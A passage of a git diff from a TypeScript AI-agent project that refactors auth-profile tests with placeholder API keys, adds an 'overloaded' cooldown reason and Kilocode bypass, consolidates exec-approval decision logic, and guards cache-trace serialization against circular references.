gateway hello before creating AgentSideConnection", async () => { - const signalHandlers = new Map void>(); - const onceSpy = vi.spyOn(process, "once").mockImplementation((( - signal: NodeJS.Signals, - handler: () => void, - ) => { - signalHandlers.set(signal, handler); - return process; - }) as typeof process.once); + const { signalHandlers, onceSpy } = captureProcessSignalHandlers(); try { const servePromise = serveAcpGateway({}); await Promise.resolve(); expect(mockState.agentSideConnectionCtor).not.toHaveBeenCalled(); - const gateway = mockState.gateways[0]; - if (!gateway) { - throw new Error("Expected mocked gateway instance"); - } - + const gateway = getMockGateway(); gateway.emitHello(); await vi.waitFor(() => { expect(mockState.agentSideConnectionCtor).toHaveBeenCalledTimes(1); @@ -159,11 +168,7 @@ describe("serveAcpGateway startup", () => { const servePromise = serveAcpGateway({}); await Promise.resolve(); - const gateway = mockState.gateways[0]; - if (!gateway) { - throw new Error("Expected mocked gateway instance"); - } - + const gateway = getMockGateway(); gateway.emitConnectError("connect failed"); await expect(servePromise).rejects.toThrow("connect failed"); expect(mockState.agentSideConnectionCtor).not.toHaveBeenCalled(); @@ -175,16 +180,9 @@ describe("serveAcpGateway startup", () => { it("passes resolved SecretInput gateway credentials to the ACP gateway client", async () => { mockState.resolveGatewayCredentialsWithSecretInputs.mockResolvedValue({ token: undefined, - password: "resolved-secret-password", + password: "resolved-secret-password", // pragma: allowlist secret }); - const signalHandlers = new Map void>(); - const onceSpy = vi.spyOn(process, "once").mockImplementation((( - signal: NodeJS.Signals, - handler: () => void, - ) => { - signalHandlers.set(signal, handler); - return process; - }) as typeof process.once); + const { signalHandlers, onceSpy } = captureProcessSignalHandlers(); try { const servePromise = serveAcpGateway({}); @@ -197,13 +195,10 @@ describe("serveAcpGateway startup", () => { ); expect(mockState.gatewayAuth[0]).toEqual({ token: undefined, - password: "resolved-secret-password", + password: "resolved-secret-password", // pragma: allowlist secret }); - const gateway = mockState.gateways[0]; - if (!gateway) { - throw new Error("Expected mocked gateway instance"); - } + const gateway = getMockGateway(); gateway.emitHello(); await vi.waitFor(() => { expect(mockState.agentSideConnectionCtor).toHaveBeenCalledTimes(1); diff --git a/src/agents/auth-profiles.ensureauthprofilestore.test.ts b/src/agents/auth-profiles.ensureauthprofilestore.test.ts index 537cb9512d4..10655a9f502 100644 --- a/src/agents/auth-profiles.ensureauthprofilestore.test.ts +++ b/src/agents/auth-profiles.ensureauthprofilestore.test.ts @@ -130,7 +130,7 @@ describe("ensureAuthProfileStore", () => { profile: { provider: "anthropic", mode: "api_key", - apiKey: "sk-ant-alias", + apiKey: "sk-ant-alias", // pragma: allowlist secret }, expected: { type: "api_key", @@ -156,7 +156,7 @@ describe("ensureAuthProfileStore", () => { provider: "anthropic", type: "api_key", key: "sk-ant-canonical", - apiKey: "sk-ant-alias", + apiKey: "sk-ant-alias", // pragma: allowlist secret }, expected: { type: "api_key", @@ -210,7 +210,7 @@ describe("ensureAuthProfileStore", () => { anthropic: { provider: "anthropic", mode: "api_key", - apiKey: "sk-ant-legacy", + apiKey: "sk-ant-legacy", // pragma: allowlist secret }, }, null, diff --git a/src/agents/auth-profiles.markauthprofilefailure.test.ts b/src/agents/auth-profiles.markauthprofilefailure.test.ts index 865fbf87816..e5690f75c6a 100644 --- a/src/agents/auth-profiles.markauthprofilefailure.test.ts +++ b/src/agents/auth-profiles.markauthprofilefailure.test.ts @@ -114,6 +114,22 @@ describe("markAuthProfileFailure", () => { expect(reloaded.usageStats?.["anthropic:default"]?.cooldownUntil).toBe(firstCooldownUntil); }); }); + it("records overloaded failures in the cooldown bucket", async () => { + await withAuthProfileStore(async ({ agentDir, store }) => { + await markAuthProfileFailure({ + store, + profileId: "anthropic:default", + reason: "overloaded", + agentDir, + }); + + const stats = store.usageStats?.["anthropic:default"]; + expect(typeof stats?.cooldownUntil).toBe("number"); + expect(stats?.disabledUntil).toBeUndefined(); + expect(stats?.disabledReason).toBeUndefined(); + expect(stats?.failureCounts?.overloaded).toBe(1); + }); + }); it("disables auth_permanent failures via disabledUntil (like billing)", async () => { await withAuthProfileStore(async ({ agentDir, store }) => { await markAuthProfileFailure({ diff --git a/src/agents/auth-profiles.runtime-snapshot-save.test.ts b/src/agents/auth-profiles.runtime-snapshot-save.test.ts index 3cb3d238975..d9146a7b1ee 100644 --- a/src/agents/auth-profiles.runtime-snapshot-save.test.ts +++ b/src/agents/auth-profiles.runtime-snapshot-save.test.ts @@ -37,7 +37,7 @@ describe("auth profile runtime snapshot persistence", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: {}, - env: { OPENAI_API_KEY: "sk-runtime-openai" }, + env: { OPENAI_API_KEY: "sk-runtime-openai" }, // pragma: allowlist secret agentDirs: [agentDir], }); activateSecretsRuntimeSnapshot(snapshot); diff --git a/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts b/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts index 4fad1029035..9d47be8c79e 100644 --- a/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts +++ b/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts @@ -23,8 +23,8 @@ vi.mock("@mariozechner/pi-ai", async () => { ...actual, getOAuthApiKey: getOAuthApiKeyMock, getOAuthProviders: () => [ - { id: "openai-codex", envApiKey: "OPENAI_API_KEY", oauthTokenEnv: "OPENAI_OAUTH_TOKEN" }, - { id: "anthropic", envApiKey: "ANTHROPIC_API_KEY", oauthTokenEnv: "ANTHROPIC_OAUTH_TOKEN" }, + { id: "openai-codex", envApiKey: "OPENAI_API_KEY", oauthTokenEnv: "OPENAI_OAUTH_TOKEN" }, // pragma: allowlist secret + { id: "anthropic", envApiKey: "ANTHROPIC_API_KEY", oauthTokenEnv: "ANTHROPIC_OAUTH_TOKEN" }, // pragma: allowlist secret ], }; }); @@ -91,7 +91,7 @@ describe("resolveApiKeyForProfile openai-codex refresh fallback", () => { }); expect(result).toEqual({ - apiKey: "cached-access-token", + apiKey: "cached-access-token", // pragma: allowlist secret provider: "openai-codex", email: undefined, }); diff --git a/src/agents/auth-profiles/oauth.test.ts b/src/agents/auth-profiles/oauth.test.ts index f5c29fe3c2a..c38d043c549 100644 --- a/src/agents/auth-profiles/oauth.test.ts +++ b/src/agents/auth-profiles/oauth.test.ts @@ -45,6 +45,20 @@ async function resolveWithConfig(params: { }); } +async function withEnvVar(key: string, value: string, run: () => Promise): Promise { + const previous = process.env[key]; + process.env[key] = value; + try { + return await run(); + } finally { + if (previous === undefined) { + delete process.env[key]; + } else { + process.env[key] = previous; + } + } +} + describe("resolveApiKeyForProfile config compatibility", () => { it("accepts token credentials when config mode is oauth", async () => { const profileId = "anthropic:token"; @@ -65,7 +79,7 @@ describe("resolveApiKeyForProfile config compatibility", () => { profileId, }); expect(result).toEqual({ - apiKey: "tok-123", + apiKey: "tok-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -124,7 +138,7 @@ describe("resolveApiKeyForProfile config compatibility", () => { }); // token ↔ oauth are bidirectionally compatible bearer-token auth paths. expect(result).toEqual({ - apiKey: "access-123", + apiKey: "access-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -145,7 +159,7 @@ describe("resolveApiKeyForProfile token expiry handling", () => { }), }); expect(result).toEqual({ - apiKey: "tok-123", + apiKey: "tok-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -165,7 +179,7 @@ describe("resolveApiKeyForProfile token expiry handling", () => { }), }); expect(result).toEqual({ - apiKey: "tok-123", + apiKey: "tok-123", // pragma: allowlist secret provider: "anthropic", email: undefined, }); @@ -231,7 +245,7 @@ describe("resolveApiKeyForProfile secret refs", () => { it("resolves api_key keyRef from env", async () => { const profileId = "openai:default"; const previous = process.env.OPENAI_API_KEY; - process.env.OPENAI_API_KEY = "sk-openai-ref"; + process.env.OPENAI_API_KEY = "sk-openai-ref"; // pragma: allowlist secret try { const result = await resolveApiKeyForProfile({ cfg: cfgFor(profileId, "openai", "api_key"), @@ -248,7 +262,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "sk-openai-ref", + apiKey: "sk-openai-ref", // pragma: allowlist secret provider: "openai", email: undefined, }); @@ -263,9 +277,7 @@ describe("resolveApiKeyForProfile secret refs", () => { it("resolves token tokenRef from env", async () => { const profileId = "github-copilot:default"; - const previous = process.env.GITHUB_TOKEN; - process.env.GITHUB_TOKEN = "gh-ref-token"; - try { + await withEnvVar("GITHUB_TOKEN", "gh-ref-token", async () => { const result = await resolveApiKeyForProfile({ cfg: cfgFor(profileId, "github-copilot", "token"), store: { @@ -282,24 +294,16 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "gh-ref-token", + apiKey: "gh-ref-token", // pragma: allowlist secret provider: "github-copilot", email: undefined, }); - } finally { - if (previous === undefined) { - delete process.env.GITHUB_TOKEN; - } else { - process.env.GITHUB_TOKEN = previous; - } - } + }); }); it("resolves token tokenRef without inline token when expires is absent", async () => { const profileId = "github-copilot:no-inline-token"; - const previous = process.env.GITHUB_TOKEN; - process.env.GITHUB_TOKEN = "gh-ref-token"; - try { + await withEnvVar("GITHUB_TOKEN", "gh-ref-token", async () => { const result = await resolveApiKeyForProfile({ cfg: cfgFor(profileId, "github-copilot", "token"), store: { @@ -315,23 +319,17 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "gh-ref-token", + apiKey: "gh-ref-token", // pragma: allowlist secret provider: "github-copilot", email: undefined, }); - } finally { - if (previous === undefined) { - delete process.env.GITHUB_TOKEN; - } else { - process.env.GITHUB_TOKEN = previous; - } - } + }); }); it("resolves inline ${ENV} api_key values", async () => { const profileId = "openai:inline-env"; const previous = process.env.OPENAI_API_KEY; - process.env.OPENAI_API_KEY = "sk-openai-inline"; + process.env.OPENAI_API_KEY = "sk-openai-inline"; // pragma: allowlist secret try { const result = await resolveApiKeyForProfile({ cfg: cfgFor(profileId, "openai", "api_key"), @@ -348,7 +346,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "sk-openai-inline", + apiKey: "sk-openai-inline", // pragma: allowlist secret provider: "openai", email: undefined, }); @@ -381,7 +379,7 @@ describe("resolveApiKeyForProfile secret refs", () => { profileId, }); expect(result).toEqual({ - apiKey: "gh-inline-token", + apiKey: "gh-inline-token", // pragma: allowlist secret provider: "github-copilot", email: undefined, }); diff --git a/src/agents/auth-profiles/types.ts b/src/agents/auth-profiles/types.ts index d01e7a07d68..127a444939b 100644 --- a/src/agents/auth-profiles/types.ts +++ b/src/agents/auth-profiles/types.ts @@ -39,6 +39,7 @@ export type AuthProfileFailureReason = | "auth" | "auth_permanent" | "format" + | "overloaded" | "rate_limit" | "billing" | "timeout" diff --git a/src/agents/auth-profiles/usage.test.ts b/src/agents/auth-profiles/usage.test.ts index 8c499654b49..120f75d3665 100644 --- a/src/agents/auth-profiles/usage.test.ts +++ b/src/agents/auth-profiles/usage.test.ts @@ -26,6 +26,7 @@ function makeStore(usageStats: AuthProfileStore["usageStats"]): AuthProfileStore "anthropic:default": { type: "api_key", provider: "anthropic", key: "sk-test" }, "openai:default": { type: "api_key", provider: "openai", key: "sk-test-2" }, "openrouter:default": { type: "api_key", provider: "openrouter", key: "sk-or-test" }, + "kilocode:default": { type: "api_key", provider: "kilocode", key: "sk-kc-test" }, }, usageStats, }; @@ -120,6 +121,17 @@ describe("isProfileInCooldown", () => { }); expect(isProfileInCooldown(store, "openrouter:default")).toBe(false); }); + + it("returns false for Kilocode even when cooldown fields exist", () => { + const store = makeStore({ + "kilocode:default": { + cooldownUntil: Date.now() + 60_000, + disabledUntil: Date.now() + 60_000, + disabledReason: "billing", + }, + }); + expect(isProfileInCooldown(store, "kilocode:default")).toBe(false); + }); }); describe("resolveProfilesUnavailableReason", () => { @@ -177,6 +189,24 @@ describe("resolveProfilesUnavailableReason", () => { ).toBe("auth"); }); + it("returns overloaded for active overloaded cooldown windows", () => { + const now = Date.now(); + const store = makeStore({ + "anthropic:default": { + cooldownUntil: now + 60_000, + failureCounts: { overloaded: 2, rate_limit: 1 }, + }, + }); + + expect( + resolveProfilesUnavailableReason({ + store, + profileIds: ["anthropic:default"], + now, + }), + ).toBe("overloaded"); + }); + it("falls back to rate_limit when active cooldown has no reason history", () => { const now = Date.now(); const store = makeStore({ diff --git a/src/agents/auth-profiles/usage.ts b/src/agents/auth-profiles/usage.ts index e78a36db28c..c28b51e3e57 100644 --- a/src/agents/auth-profiles/usage.ts +++ b/src/agents/auth-profiles/usage.ts @@ -9,6 +9,7 @@ const FAILURE_REASON_PRIORITY: AuthProfileFailureReason[] = [ "billing", "format", "model_not_found", + "overloaded", "timeout", "rate_limit", "unknown", @@ -19,7 +20,8 @@ const FAILURE_REASON_ORDER = new Map( ); function isAuthCooldownBypassedForProvider(provider: string | undefined): boolean { - return normalizeProviderId(provider ?? "") === "openrouter"; + const normalized = normalizeProviderId(provider ?? ""); + return normalized === "openrouter" || normalized === "kilocode"; } export function resolveProfileUnusableUntil( @@ -35,7 +37,7 @@ export function resolveProfileUnusableUntil( } /** - * Check if a profile is currently in cooldown (due to rate limiting or errors). + * Check if a profile is currently in cooldown (due to rate limits, overload, or other transient failures). */ export function isProfileInCooldown( store: AuthProfileStore, @@ -508,7 +510,7 @@ export async function markAuthProfileFailure(params: { } /** - * Mark a profile as failed/rate-limited. Applies exponential backoff cooldown. + * Mark a profile as transiently failed. Applies exponential backoff cooldown. * Cooldown times: 1min, 5min, 25min, max 1 hour. * Uses store lock to avoid overwriting concurrent usage updates. */ diff --git a/src/agents/bash-tools.exec-host-gateway.ts b/src/agents/bash-tools.exec-host-gateway.ts index 04f88497843..49a958c9c5b 100644 --- a/src/agents/bash-tools.exec-host-gateway.ts +++ b/src/agents/bash-tools.exec-host-gateway.ts @@ -1,4 +1,3 @@ -import crypto from "node:crypto"; import type { AgentToolResult } from "@mariozechner/pi-agent-core"; import { addAllowlistEntry, @@ -20,11 +19,12 @@ import { registerExecApprovalRequestForHostOrThrow, } from "./bash-tools.exec-approval-request.js"; import { + createDefaultExecApprovalRequestContext, + resolveBaseExecApprovalDecision, resolveApprovalDecisionOrUndefined, resolveExecHostApprovalContext, } from "./bash-tools.exec-host-shared.js"; import { - DEFAULT_APPROVAL_TIMEOUT_MS, DEFAULT_NOTIFY_TAIL_CHARS, createApprovalSlug, emitExecSystemEvent, @@ -138,16 +138,24 @@ export async function processGatewayAllowlist( } if (requiresAsk) { - const approvalId = crypto.randomUUID(); - const approvalSlug = createApprovalSlug(approvalId); - const contextKey = `exec:${approvalId}`; + const { + approvalId, + approvalSlug, + contextKey, + noticeSeconds, + warningText, + expiresAtMs: defaultExpiresAtMs, + preResolvedDecision: defaultPreResolvedDecision, + } = createDefaultExecApprovalRequestContext({ + warnings: params.warnings, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + createApprovalSlug, + }); const resolvedPath = allowlistEval.segments[0]?.resolution?.resolvedPath; - const noticeSeconds = Math.max(1, Math.round(params.approvalRunningNoticeMs / 1000)); const effectiveTimeout = typeof params.timeoutSec === "number" ? params.timeoutSec : params.defaultTimeoutSec; - const warningText = params.warnings.length ? `${params.warnings.join("\n")}\n\n` : ""; - let expiresAtMs = Date.now() + DEFAULT_APPROVAL_TIMEOUT_MS; - let preResolvedDecision: string | null | undefined; + let expiresAtMs = defaultExpiresAtMs; + let preResolvedDecision = defaultPreResolvedDecision; // Register first so the returned approval ID is actionable immediately. const registration = await registerExecApprovalRequestForHostOrThrow({ @@ -184,24 +192,19 @@ export async function processGatewayAllowlist( return; } - let approvedByAsk = false; - let deniedReason: string | null = null; + const baseDecision = resolveBaseExecApprovalDecision({ + decision, + askFallback, + obfuscationDetected: obfuscation.detected, + }); + let approvedByAsk = baseDecision.approvedByAsk; + let deniedReason = baseDecision.deniedReason; - if (decision === "deny") { - deniedReason = "user-denied"; - } else if (!decision) { - if (obfuscation.detected) { - deniedReason = "approval-timeout (obfuscation-detected)"; - } else if (askFallback === "full") { - approvedByAsk = true; - } else if (askFallback === "allowlist") { - if (!analysisOk || !allowlistSatisfied) { - deniedReason = "approval-timeout (allowlist-miss)"; - } else { - approvedByAsk = true; - } + if (baseDecision.timedOut && askFallback === "allowlist") { + if (!analysisOk || !allowlistSatisfied) { + deniedReason = "approval-timeout (allowlist-miss)"; } else { - deniedReason = "approval-timeout"; + approvedByAsk = true; } } else if (decision === "allow-once") { approvedByAsk = true; diff --git a/src/agents/bash-tools.exec-host-node.ts b/src/agents/bash-tools.exec-host-node.ts index 74c740cc1da..b66a6ededf1 100644 --- a/src/agents/bash-tools.exec-host-node.ts +++ b/src/agents/bash-tools.exec-host-node.ts @@ -18,14 +18,12 @@ import { registerExecApprovalRequestForHostOrThrow, } from "./bash-tools.exec-approval-request.js"; import { + createDefaultExecApprovalRequestContext, + resolveBaseExecApprovalDecision, resolveApprovalDecisionOrUndefined, resolveExecHostApprovalContext, } from "./bash-tools.exec-host-shared.js"; -import { - DEFAULT_APPROVAL_TIMEOUT_MS, - createApprovalSlug, - emitExecSystemEvent, -} from "./bash-tools.exec-runtime.js"; +import { createApprovalSlug, emitExecSystemEvent } from "./bash-tools.exec-runtime.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; import { callGatewayTool } from "./tools/gateway.js"; import { listNodes, resolveNodeIdFromList } from "./tools/nodes-utils.js"; @@ -209,13 +207,21 @@ export async function executeNodeHostCommand( }) satisfies Record; if (requiresAsk) { - const approvalId = crypto.randomUUID(); - const approvalSlug = createApprovalSlug(approvalId); - const contextKey = `exec:${approvalId}`; - const noticeSeconds = Math.max(1, Math.round(params.approvalRunningNoticeMs / 1000)); - const warningText = params.warnings.length ? `${params.warnings.join("\n")}\n\n` : ""; - let expiresAtMs = Date.now() + DEFAULT_APPROVAL_TIMEOUT_MS; - let preResolvedDecision: string | null | undefined; + const { + approvalId, + approvalSlug, + contextKey, + noticeSeconds, + warningText, + expiresAtMs: defaultExpiresAtMs, + preResolvedDecision: defaultPreResolvedDecision, + } = createDefaultExecApprovalRequestContext({ + warnings: params.warnings, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + createApprovalSlug, + }); + let expiresAtMs = defaultExpiresAtMs; + let preResolvedDecision = defaultPreResolvedDecision; // Register first so the returned approval ID is actionable immediately. const registration = await registerExecApprovalRequestForHostOrThrow({ @@ -252,23 +258,17 @@ export async function executeNodeHostCommand( return; } - let approvedByAsk = false; + const baseDecision = resolveBaseExecApprovalDecision({ + decision, + askFallback, + obfuscationDetected: obfuscation.detected, + }); + let approvedByAsk = baseDecision.approvedByAsk; let approvalDecision: "allow-once" | "allow-always" | null = null; - let deniedReason: string | null = null; + let deniedReason = baseDecision.deniedReason; - if (decision === "deny") { - deniedReason = "user-denied"; - } else if (!decision) { - if (obfuscation.detected) { - deniedReason = "approval-timeout (obfuscation-detected)"; - } else if (askFallback === "full") { - approvedByAsk = true; - approvalDecision = "allow-once"; - } else if (askFallback === "allowlist") { - // Defer allowlist enforcement to the node host. - } else { - deniedReason = "approval-timeout"; - } + if (baseDecision.timedOut && askFallback === "full" && approvedByAsk) { + approvalDecision = "allow-once"; } else if (decision === "allow-once") { approvedByAsk = true; approvalDecision = "allow-once"; diff --git a/src/agents/bash-tools.exec-host-shared.ts b/src/agents/bash-tools.exec-host-shared.ts index 37ee0320c3f..eef3575fed3 100644 --- a/src/agents/bash-tools.exec-host-shared.ts +++ b/src/agents/bash-tools.exec-host-shared.ts @@ -1,3 +1,4 @@ +import crypto from "node:crypto"; import { maxAsk, minSecurity, @@ -6,6 +7,7 @@ import { type ExecSecurity, } from "../infra/exec-approvals.js"; import { resolveRegisteredExecApprovalDecision } from "./bash-tools.exec-approval-request.js"; +import { DEFAULT_APPROVAL_TIMEOUT_MS } from "./bash-tools.exec-runtime.js"; type ResolvedExecApprovals = ReturnType; @@ -16,6 +18,110 @@ export type ExecHostApprovalContext = { askFallback: ResolvedExecApprovals["agent"]["askFallback"]; }; +export type ExecApprovalPendingState = { + warningText: string; + expiresAtMs: number; + preResolvedDecision: string | null | undefined; +}; + +export type ExecApprovalRequestState = ExecApprovalPendingState & { + noticeSeconds: number; +}; + +export function createExecApprovalPendingState(params: { + warnings: string[]; + timeoutMs: number; +}): ExecApprovalPendingState { + return { + warningText: params.warnings.length ? `${params.warnings.join("\n")}\n\n` : "", + expiresAtMs: Date.now() + params.timeoutMs, + preResolvedDecision: undefined, + }; +} + +export function createExecApprovalRequestState(params: { + warnings: string[]; + timeoutMs: number; + approvalRunningNoticeMs: number; +}): ExecApprovalRequestState { + const pendingState = createExecApprovalPendingState({ + warnings: params.warnings, + timeoutMs: params.timeoutMs, + }); + return { + ...pendingState, + noticeSeconds: Math.max(1, Math.round(params.approvalRunningNoticeMs / 1000)), + }; +} + +export function createExecApprovalRequestContext(params: { + warnings: string[]; + timeoutMs: number; + approvalRunningNoticeMs: number; + createApprovalSlug: (approvalId: string) => string; +}): ExecApprovalRequestState & { + approvalId: string; + approvalSlug: string; + contextKey: string; +} { + const approvalId = crypto.randomUUID(); + const pendingState = createExecApprovalRequestState({ + warnings: params.warnings, + timeoutMs: params.timeoutMs, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + }); + return { + ...pendingState, + approvalId, + approvalSlug: params.createApprovalSlug(approvalId), + contextKey: `exec:${approvalId}`, + }; +} + +export function createDefaultExecApprovalRequestContext(params: { + warnings: string[]; + approvalRunningNoticeMs: number; + createApprovalSlug: (approvalId: string) => string; +}) { + return createExecApprovalRequestContext({ + warnings: params.warnings, + timeoutMs: DEFAULT_APPROVAL_TIMEOUT_MS, + approvalRunningNoticeMs: params.approvalRunningNoticeMs, + createApprovalSlug: params.createApprovalSlug, + }); +} + +export function resolveBaseExecApprovalDecision(params: { + decision: string | null; + askFallback: ResolvedExecApprovals["agent"]["askFallback"]; + obfuscationDetected: boolean; +}): { + approvedByAsk: boolean; + deniedReason: string | null; + timedOut: boolean; +} { + if (params.decision === "deny") { + return { approvedByAsk: false, deniedReason: "user-denied", timedOut: false }; + } + if (!params.decision) { + if (params.obfuscationDetected) { + return { + approvedByAsk: false, + deniedReason: "approval-timeout (obfuscation-detected)", + timedOut: true, + }; + } + if (params.askFallback === "full") { + return { approvedByAsk: true, deniedReason: null, timedOut: true }; + } + if (params.askFallback === "deny") { + return { approvedByAsk: false, deniedReason: "approval-timeout", timedOut: true }; + } + return { approvedByAsk: false, deniedReason: null, timedOut: true }; + } + return { approvedByAsk: false, deniedReason: null, timedOut: false }; +} + export function resolveExecHostApprovalContext(params: { agentId?: string; security: ExecSecurity; diff --git a/src/agents/bash-tools.exec-runtime.ts b/src/agents/bash-tools.exec-runtime.ts index 2a5a7d4eb2c..9714e4255ee 100644 --- a/src/agents/bash-tools.exec-runtime.ts +++ b/src/agents/bash-tools.exec-runtime.ts @@ -1,7 +1,7 @@ import path from "node:path"; import type { AgentToolResult } from "@mariozechner/pi-agent-core"; import { Type } from "@sinclair/typebox"; -import type { ExecAsk, ExecHost, ExecSecurity } from "../infra/exec-approvals.js"; +import { type ExecHost } from "../infra/exec-approvals.js"; import { requestHeartbeatNow } from "../infra/heartbeat-wake.js"; import { isDangerousHostEnvVarName } from "../infra/host-env-security.js"; import { findPathKey, mergePathPrepend } from "../infra/path-prepend.js"; @@ -11,6 +11,11 @@ import type { ProcessSession } from "./bash-process-registry.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; import type { BashSandboxConfig } from "./bash-tools.shared.js"; export { applyPathPrepend, findPathKey, normalizePathPrepend } from "../infra/path-prepend.js"; +export { + normalizeExecAsk, + normalizeExecHost, + normalizeExecSecurity, +} from "../infra/exec-approvals.js"; import { logWarn } from "../logger.js"; import type { ManagedRun } from "../process/supervisor/index.js"; import { getProcessSupervisor } from "../process/supervisor/index.js"; @@ -156,30 +161,6 @@ export type ExecProcessHandle = { kill: () => void; }; -export function normalizeExecHost(value?: string | null): ExecHost | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "sandbox" || normalized === "gateway" || normalized === "node") { - return normalized; - } - return null; -} - -export function normalizeExecSecurity(value?: string | null): ExecSecurity | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "deny" || normalized === "allowlist" || normalized === "full") { - return normalized; - } - return null; -} - -export function normalizeExecAsk(value?: string | null): ExecAsk | null { - const normalized = value?.trim().toLowerCase(); - if (normalized === "off" || normalized === "on-miss" || normalized === "always") { - return normalized as ExecAsk; - } - return null; -} - export function renderExecHostLabel(host: ExecHost) { return host === "sandbox" ? "sandbox" : host === "gateway" ? "gateway" : "node"; } diff --git a/src/agents/bootstrap-cache.ts b/src/agents/bootstrap-cache.ts index 03c4a923464..98ca267994f 100644 --- a/src/agents/bootstrap-cache.ts +++ b/src/agents/bootstrap-cache.ts @@ -20,6 +20,17 @@ export function clearBootstrapSnapshot(sessionKey: string): void { cache.delete(sessionKey); } +export function clearBootstrapSnapshotOnSessionRollover(params: { + sessionKey?: string; + previousSessionId?: string; +}): void { + if (!params.sessionKey || !params.previousSessionId) { + return; + } + + clearBootstrapSnapshot(params.sessionKey); +} + export function clearAllBootstrapSnapshots(): void { cache.clear(); } diff --git a/src/agents/cache-trace.test.ts b/src/agents/cache-trace.test.ts index be49e93a3b7..28a8d9d2840 100644 --- a/src/agents/cache-trace.test.ts +++ b/src/agents/cache-trace.test.ts @@ -144,4 +144,35 @@ describe("createCacheTrace", () => { expect(source.bytes).toBe(6); expect(source.sha256).toBe(crypto.createHash("sha256").update("U0VDUkVU").digest("hex")); }); + + it("handles circular references in messages without stack overflow", () => { + const lines: string[] = []; + const trace = createCacheTrace({ + cfg: { + diagnostics: { + cacheTrace: { + enabled: true, + }, + }, + }, + env: {}, + writer: { + filePath: "memory", + write: (line) => lines.push(line), + }, + }); + + const parent: Record = { role: "user", content: "hello" }; + const child: Record = { ref: parent }; + parent.child = child; // circular reference + + trace?.recordStage("prompt:images", { + messages: [parent] as unknown as [], + }); + + expect(lines.length).toBe(1); + const event = JSON.parse(lines[0]?.trim() ?? "{}") as Record; + expect(event.messageCount).toBe(1); + expect(event.messageFingerprints).toHaveLength(1); + }); }); diff --git a/src/agents/cache-trace.ts b/src/agents/cache-trace.ts index 5084614501c..c3125c074b2 100644 --- a/src/agents/cache-trace.ts +++ b/src/agents/cache-trace.ts @@ -8,6 +8,7 @@ import { parseBooleanValue } from "../utils/boolean.js"; import { safeJsonStringify } from "../utils/safe-json.js"; import { redactImageDataForDiagnostics } from "./payload-redaction.js"; import { getQueuedFileWriter, type QueuedFileWriter } from "./queued-file-writer.js"; +import { buildAgentTraceBase } from "./trace-base.js"; export type CacheTraceStage = | "session:loaded" @@ -103,7 +104,7 @@ function getWriter(filePath: string): CacheTraceWriter { return getQueuedFileWriter(writers, filePath); } -function stableStringify(value: unknown): string { +function stableStringify(value: unknown, seen: WeakSet = new WeakSet()): string { if (value === null || value === undefined) { return String(value); } @@ -116,30 +117,40 @@ function stableStringify(value: unknown): string { if (typeof value !== "object") { return JSON.stringify(value) ?? "null"; } + if (seen.has(value)) { + return JSON.stringify("[Circular]"); + } + seen.add(value); if (value instanceof Error) { - return stableStringify({ - name: value.name, - message: value.message, - stack: value.stack, - }); + return stableStringify( + { + name: value.name, + message: value.message, + stack: value.stack, + }, + seen, + ); } if (value instanceof Uint8Array) { - return stableStringify({ - type: "Uint8Array", - data: Buffer.from(value).toString("base64"), - }); + return stableStringify( + { + type: "Uint8Array", + data: Buffer.from(value).toString("base64"), + }, + seen, + ); } if (Array.isArray(value)) { const serializedEntries: string[] = []; for (const entry of value) { - serializedEntries.push(stableStringify(entry)); + serializedEntries.push(stableStringify(entry, seen)); } return `[${serializedEntries.join(",")}]`; } const record = value as Record; const serializedFields: string[] = []; for (const key of Object.keys(record).toSorted()) { - serializedFields.push(`${JSON.stringify(key)}:${stableStringify(record[key])}`); + serializedFields.push(`${JSON.stringify(key)}:${stableStringify(record[key], seen)}`); } return `{${serializedFields.join(",")}}`; } @@ -173,15 +184,7 @@ export function createCacheTrace(params: CacheTraceInit): CacheTrace | null { const writer = params.writer ?? getWriter(cfg.filePath); let seq = 0; - const base: Omit = { - runId: params.runId, - sessionId: params.sessionId, - sessionKey: params.sessionKey, - provider: params.provider, - modelId: params.modelId, - modelApi: params.modelApi, - workspaceDir: params.workspaceDir, - }; + const base: Omit = buildAgentTraceBase(params); const recordStage: CacheTrace["recordStage"] = (stage, payload = {}) => { const event: CacheTraceEvent = { diff --git a/src/agents/compaction.identifier-preservation.test.ts b/src/agents/compaction.identifier-preservation.test.ts index cdf742e1489..139c4923b27 100644 --- a/src/agents/compaction.identifier-preservation.test.ts +++ b/src/agents/compaction.identifier-preservation.test.ts @@ -31,7 +31,7 @@ describe("compaction identifier-preservation instructions", () => { } as unknown as NonNullable; const summarizeBase: Omit = { model: testModel, - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret reserveTokens: 4000, maxChunkTokens: 8000, contextWindow: 200_000, diff --git a/src/agents/compaction.test.ts b/src/agents/compaction.test.ts index 9fa8fcee53a..afd8c776942 100644 --- a/src/agents/compaction.test.ts +++ b/src/agents/compaction.test.ts @@ -6,6 +6,7 @@ import { pruneHistoryForContextShare, splitMessagesByTokenShare, } from "./compaction.js"; +import { makeAgentAssistantMessage } from "./test-helpers/agent-message-fixtures.js"; function makeMessage(id: number, size: number): AgentMessage { return { @@ -24,26 +25,15 @@ function makeAssistantToolCall( toolCallId: string, text = "x".repeat(4000), ): AssistantMessage { - return { - role: "assistant", + return makeAgentAssistantMessage({ content: [ { type: "text", text }, { type: "toolCall", id: toolCallId, name: "test_tool", arguments: {} }, ], - api: "openai-responses", - 